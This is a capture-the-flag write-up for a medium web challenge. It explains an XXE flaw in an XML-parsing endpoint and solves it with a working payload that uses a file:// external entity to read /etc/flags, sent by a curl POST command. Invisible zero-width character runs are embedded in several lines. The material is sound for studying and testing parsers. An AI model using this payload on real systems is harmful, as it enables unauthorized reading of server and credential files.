XXE read

Platform: web-kids20 | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-09 | Status: Solved Techniques: external_entity_injection, xxe_file_read

Summary

Task WEB_d241 from advanced category. The web application accepts XML data and parses it. The goal is to exploit an XXE (XML External Entity) vulnerability to read local files.

XXE read — Web Kids 2.0

Description

Task WEB_d241 from advanced category. The web application accepts XML data and parses it. The goal is to exploit an XXE (XML External Entity) vulnerability to read local files.

URL: http://kslweb3.spb.ctf.su/2-4/

Analysis

The application accepts XML data via POST request and processes it. The XML parser is configured insecurely — external entity processing is enabled. This allows defining a SYSTEM entity that reads local server files.

Key indicators of XXE vulnerability:

• Application accepts XML input
• Parser processes DOCTYPE declarations
• SYSTEM entities are allowed ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Crafting the XXE payload

Create an XML with an external entity that reads the /etc/flags file:

 xml read-only • copy allowed Copy
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/flags">
]>
<root>&xxe;</root>

Step 2: Sending the payload

Send the XML via POST request:

 bash read-only • copy allowed Copy
curl -X POST http://kslweb3.spb.ctf.su/2-4/ \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/flags">]><root>&xxe;</root>'

Step 3: Obtaining the flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The server processes the XML, substitutes the contents of /etc/flags in place of &xxe; and returns it in the response. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍